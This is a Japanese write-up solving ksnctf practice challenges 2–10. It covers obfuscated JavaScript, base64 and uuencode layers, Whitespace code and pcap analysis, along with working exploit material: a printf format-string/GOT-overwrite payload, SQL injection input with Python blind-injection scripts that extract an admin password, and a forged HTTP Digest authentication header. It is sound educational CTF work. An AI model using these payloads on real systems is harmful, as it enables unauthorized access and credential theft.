ksnctf writeup (problem 1 -- 10)

https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

2. Easy Cipher

定番のcaesar暗号です。 python の codecs ライブラリを使うなどの方法でデコードします。

3. Crawling Chaos

問題概要

http://ksnctf.sweetduet.info/q/3/unya.html が与えられます。フォームが1つある単純なwebページに見えます。フォームに何を入れてSubmitボタンを押しても "No" というアラートが出るばかりです。

ポイント

解法

unya.html のソースを見ると、 head タグの中に長ーい script タグがあり、何やら(文字通り)うにゃうにゃと書いてあります。

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー, (後略)

js の変数名や関数名には実は日本語を用いることができるので、これは文法的に正しい js となっています。 ちなみに、このような js は http://sanya.sweetduet.info/unyaencode/ で生成できるようです。

最初の部分を読み解いてみます。日本語の変数名と関数名をアルファベットに置き換えると、

(ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー

(a)=(/ᆞωᆞ/),(a).b=-!!(/ᆞωᆞ/).c

と同じとみなせます。さらに読み解くと、以下のようになことがわかります。

  • // で囲まれた部分は正規表現
  • a正規表現を表す変数で、 RegExp クラスのインスタンス
  • ab というプロパティを追加して値を代入
  • (/ᆞωᆞ/).c は変数 /ᆞωᆞ/ の存在しないプロパティを参照しているので、 undefined となる
  • ! をつけると bool に変換、 - をつけると数値に変換、と考えることができるので -!!undefined-0 となる
  • よって a.b には -0 が代入される

このような感じで、うにゃうにゃ言っているだけに見えるコードでも意味の有りそうな動作をしています。

この調子で読んでいくのは大変なので、script タグの中身を unya.js として保存し node unya.js で実行します。すると、以下のようなエラーになります。 jQuery を import していないので $ が定義されていないと怒られていますが、注目すべきはエラーとなった部分のコードが吐かれている点です。

undefined:2
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
^

ReferenceError: $ is not defined

吐かれたコードを読み解いてみます。

$(function(){
  $('form').submit(function(){
    var t=$('input[type="text"]').val();
    var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
    var f=false;
    if(p.length==t.length){
      f=true;
      for(var i=0; i<p.length; i++)
        if(t.charCodeAt(i)*(i+1)!=p[i])
          f=false;
      if(f)
        alert('(」・ω・)」うー!(/・ω・)/にゃー!');
    }
    if(!f)
      alert('No');
    return false;
  });
});

これは、フォームに与えられた文字列 t を1文字ずつ数値に変換したものが、 p の各要素と等しくなっているかどうかを調べる、というようなことをしています。以下のスクリプトで、このような tp から逆に求めることができます。

var p = Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
var t_nums = p.map((n, i) => { return n / (i + 1); });
var t = String.fromCharCode(...t_nums);
console.log(t);

4. Villager A

問題概要

ssh の user と pass が与えられる。sshしてみると、 ~/ に以下のようなファイルが置いてある。

-r--------. 1 q4a  q4a    22 May 22  2012 flag.txt
-rwsr-xr-x. 1 q4a  q4a  5857 May 22  2012 q4
-rw-r--r--. 1 root root  151 Jun  1  2012 readme.txt

ポイント

  • print format attack(セキュリティコンテストチャレンジブック 2.4.2)
  • GOT overwrite(セキュリティコンテストチャレンジブック 2.4.2)

解法

結論から言うと、以下のように実行するとflagを得られます。

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

printfの書式設定の脆弱性を利用すると、メモリの中の値を出力したり、メモリの値を書き換えたりできます。この脆弱性を利用して、 eip を奪い好きな関数を実行させることができます。詳しくは GOT overwrite ~ ksnctf #4 Villager A ~ に分かりやすい説明があるのでそちらを参照してください。

5. Onion

問題内容

すごく長い文字列が与えられます。

ポイント

解法

与えられた文字列は base64 っぽさが漂っています。そこでとりあえず base64 decode してみます。

echo [問題文] | base64 -D

すると少し短い文字列が出てきます。

この文字列は実は、ある文字列を繰り返し base64 encode したものになっています。このことは問題名の「Onion」にもあらわれています。従って、 base64 decode を繰り返していくと、だんだん文字列が短くなり、ほしい文字列が得られます。 例えば以下のようなスクリプトで繰り返しができます。もしくは、 echo "<問題文>" | base64 -D | base64 -D | ... のようにpipeをつないでいっても良いです。

s="<問題文>"
i=0
while [ ! -z $s ]; do
  echo "====="
  echo $i
  echo $s
  i=$(($i+1))
  s=$(echo $s | base64 -D)
done

16回目で以下の文字列が得られます。

begin 666 <data>
51DQ!1U]&94QG4#-3:4%797I74$AU

end

これは何でしょう。 begin 666 <data> でクグります。すると、これはどうやら uuencode されたデータだとわかります。

得られたデータをデコードするためには、ファイル名と最後から2行目を少しだけ修正して onion.txt として保存します。

begin 666 flag.txt
51DQ!1U]&94QG4#-3:4%797I74$AU
`
end

以下を shell で実行すると flag.txt にフラグが出力されます。

uudecode -i onion.txt

6. Login

問題概要

login フォームが与えられます。

ポイント

解法

まず、SQLインジェクションしてみます。 ' or 1=1 -- を入力すると、以下のようなHintが吐かれます。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

最初の数行にある通り、admin のパスワードを見つければいいようです。

どのようにすればadminのパスワードを見つけられるでしょうか? 先程やったように、SQLインジェクションを行えばある程度自由にSQLクエリを実行できます。 しかしながら、その実行結果を観測する方法は限られています。 SQLの実行結果をまるごとtable状にページに表示できれば楽ですが、そこまで甘くありません。 今回の場合、観測できるのは、実行したSQLに該当するレコードがあるかないか、です。 該当するレコードが存在しない場合、 "Login Failed" と表示されます。 該当するレコードが存在する場合、上記のHintが表示されます。 このどちらが表示されるかによって、実行したSQLに該当するレコードがあるかないかを知ることができます。

つまり、

  • SQLインジェクションによって適当なクエリを実行させて
  • 該当するレコードがあるかないかをレスポンスから判定する

ことを繰り返しながら、adminのパスワードを調べていきます。 このような手法は、ブラインドSQLインジェクションと呼ばれています。

まず、パスワードの長さを見つけます。

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(
        counter=i)
    payload = {
        'id': sql,
    }
    response = requests.post(url, data=payload)
    if len(response.text) >= 2000:
        # responseが2000文字以上ならHintが表示されている、つまり該当するレコードあり
        print('length of the password is {counter}'.format(counter=i))
        break

これで、パスワードの長さは21とわかります。

次に21文字のパスワードを1文字ずつ見つけていきます。SQLSUBSTR 句を使います。

import requests

url = 'http://ctfq.sweetduet.info:10080/~q6/'

password = ''
for index in range(1, pass_len + 1):
    for char_number in range(48, 123):
        char = chr(char_number)
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(
            index=index, char=char)
        payload = {
            'id': sql,
            'pass': ''
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print(char, end="")
            password += char
            break

print()
print(password)

得られたパスワードがフラグです。

7. Programming

問題概要

謎のcppファイルが与えられる。

ポイント

解法

c++と見せかけて、実はWhitespaceという難解プログラミング言語ソースコードです。 Whitelips という、web上で実行できるWhitespaceのIDEがあるので、今回はこれを使います。 与えられたプログラムをコピペして実行してみます。 すると、画像のようになります。

f:id:gky360:20190423170355p:plain
問題のプログラムをWhitespaceのIDE上で実行する

PIN: と表示され、ユーザの入力待ちになります。 ここで、右側のアセンブリっぽいものに注目します。 readi で入力されたPINと 33355524 という謎の数値を sub で引き算して、その後の jz (= jump if zero) で label_0 に飛ぶかどうかを分岐しているような雰囲気があります。 つまり、 33355524 という数値を入力したときになにか特殊な処理が行われそうです。

実際に 33355524 を入力すると、 OK の表示の後にフラグが出力されます。

8. Basic is secure?

問題概要

pcapファイルが与えられます。

ポイント

解法

Basic 認証を知っていれば、タイトルとpcapファイルでピンとくるかもしれません。 もしくは、 HTTP/1.1 401 Authorization Required のレスポンスも、Basic 認証に関する通信を行っていると気づくポイントです。

Basic 認証だと気づいた後は、user:pass を送信しているリクエストを見つけます。今回は、 HTTP/1.1 401 Authorization Required の次のリクエストが該当するリクエストです。このリクエストのAuthorizationヘッダ部分のパスワードがフラグです。

ちなみに、Authorizationヘッダの文字列をbase64デコードすると <user>:<pass> という形式でユーザ名とパスワードが得られますが、wiresharkでpcapファイルを見ている場合は、wiresharkがデコード後の文字列も表示してくれるので楽です。

9. Digest is secure!

概要

pcapファイルが与えられる。

ポイント

  • Digest認証

解法

大きく分けて3ステップです。

  • Digest認証に関する問題だと気付く
  • httpでやり取りしたファイルを復元する
  • なりすましで認証を突破する

Digest認証に関する問題だと気付く

Digest認証を知っていれば、pcapファイルが与えられているという点と問題タイトルだけでピンとくるかもしれません。 そうでなくても、HTTP/1.1 401 Authorization Required のレスポンスの WWW-Authenticate ヘッダで気付くことができます。

Digest認証は replay attack が効かないので、pcapファイルのリクエストをそのまま再送するだけではだめです。 正規ユーザになりすまして、適切なリクエストを生成して送信する必要があります。

この問題はDigest認証のプロトコルを理解していることが求められるので、ここで少し補足します。

Digest認証の仕様は RFC2617 - HTTP Authentication: Basic and Digest Access Authentication で定義されています。 大まかな流れは以下の通りです。

  1. クライアントは認証が必要なページをリクエストする。
  2. サーバが 401 Authorization Required のレスポンスを返す。このとき、 realm nonce qop などといった値を WWW-Authenticate ヘッダに含めて返す。
  3. クライアントはユーザにユーザ名とパスワードの入力を求める。
  4. クライアントは cnonce と呼ばれるランダム文字列を生成し、後述の方法で responseハッシュ値を計算する。
  5. クライアントはサーバから送られた認証に関する情報とともに、ユーザ名とresponseをサーバに送信する。
  6. サーバがクライアントから受け取った値とサーバに格納されているハッシュ化されたパスワードから、正解の response を計算する。
  7. クライアントが送信した response とサーバが計算した正解値が一致すれば認証成功。一致しなければ 2. にもどる。

response は以下のように計算されます。

A1 = username ":" realm ":" passwd
A2 = Method ":" digest-uri
response = H( H(A1) ":" nonce ":" nc ":" cnonce ":" qop ":" H(A2) )

ここで Hハッシュ関数です。それぞれの値の意味は以下の通りです。

  • username ... ユーザ名
  • realm ... 認証領域
  • passwd ... パスワード
  • Method ... HTTPのメソッド
  • digest-uri ... アクセスしたいページのURI
  • nonce ... サーバがランダムに設定する文字列
  • nc ... nonce-count。ある nonce 値に対して何回目のリクエストかを表す16進数。
  • cnonce ... クライアントがランダムに設定する文字列
  • qop ... quality of protection。サーバが authauth-init を指定する。

httpでやり取りしたファイルを復元する

wiresharkを使って、httpでやり取りされたファイルを復元します。 File > Export objects > HTTP で復元できます。 wiresharkすごいです。

以下の5つのファイルが復元されます。

ここで注目すべきは、 ~q9 (2回目) と htdigest です。

~q9 (2回目) の中身を読むと、 /~q9/flag.html にフラグがあるということが分かります。

<!DOCTYPE html>
  <head>
    <meta charset="utf-8">
    <title>Q9</title>
  </head>
  <body>
    <p>Congratulations!</p>
    <p>The flag is <a href="flag.html">here</a>.</p>
  </body>
</html>

htdigest ファイルには、謎のハッシュ値が記録されています。

q9:secret:c627e19450db746b739f41b64097d449

これは何でしょう? htdigest ファイルには、 <ユーザ名>:<realm>:H(<ユーザ名>:<realm>:<パスワード>) という形式でユーザ名と暗号化されたパスワードが保存されています。 したがって今回の場合、 c627e19450db746b739f41b64097d449 = H(A1) ということになります。

なりすましで認証を突破する

さて、pcapファイルのhttpリクエスト/レスポンスや htdigest ファイルの内容から、Digest認証に関連する変数の値が以下の通りだと分かります。 ただし、 cnonce は自分で適当にランダム値を設定しました。 algorithmMD5なので、 echo -n GET:/~q9/flag.html | md5 などとすれば H(A2) を計算できます。 nonce はリクエストのたびに変わるので、以降の値はあくまで一例です。

algorithm = MD5
H(A1) = c627e19450db746b739f41b64097d449
nonce = hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0
nc = 00000001
cnonce = 0a4f113b
qop = auth
A2 = GET:/~q9/flag.html
H(A2) = ffffdd8b8029499600f95a69beb239c2

この場合の response は以下のコマンドで計算できます。 echo-n オプションをつけないと最後の改行も含めてハッシュ値が計算されてしまうので注意です。

echo -n c627e19450db746b739f41b64097d449:hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0:00000001:0a4f113b:auth:ffffdd8b8029499600f95a69beb239c2 | md5

ということで、今回設定すべき response78f9ce00939ab5d93d65b458bf34c381 となります。 GET http://ctfq.sweetduet.info:10080/~q9/flag.html リクエストの Authorization ヘッダに下記の文字列を設定して送信すると、フラグを含んだhtmlファイルをゲットできます。

Digest username="q9", realm="secret", nonce="hd2hu1mHBQA=b5372ed33e961073e93b4ffadfa23cc5793c94e0", uri="/~q9/flag.html", algorithm=MD5, response="78f9ce00939ab5d93d65b458bf34c381", qop=auth, nc=00000001, cnonce="0a4f113b"

10. #!

問題概要

そのまま引用

What's this? ↓

#!/usr/bin/python
print "Hello world"

The flag is FLAG_S?????? (in capital letters).

ポイント

  • シェバン

解法

#! の名称を答えればいいだけ。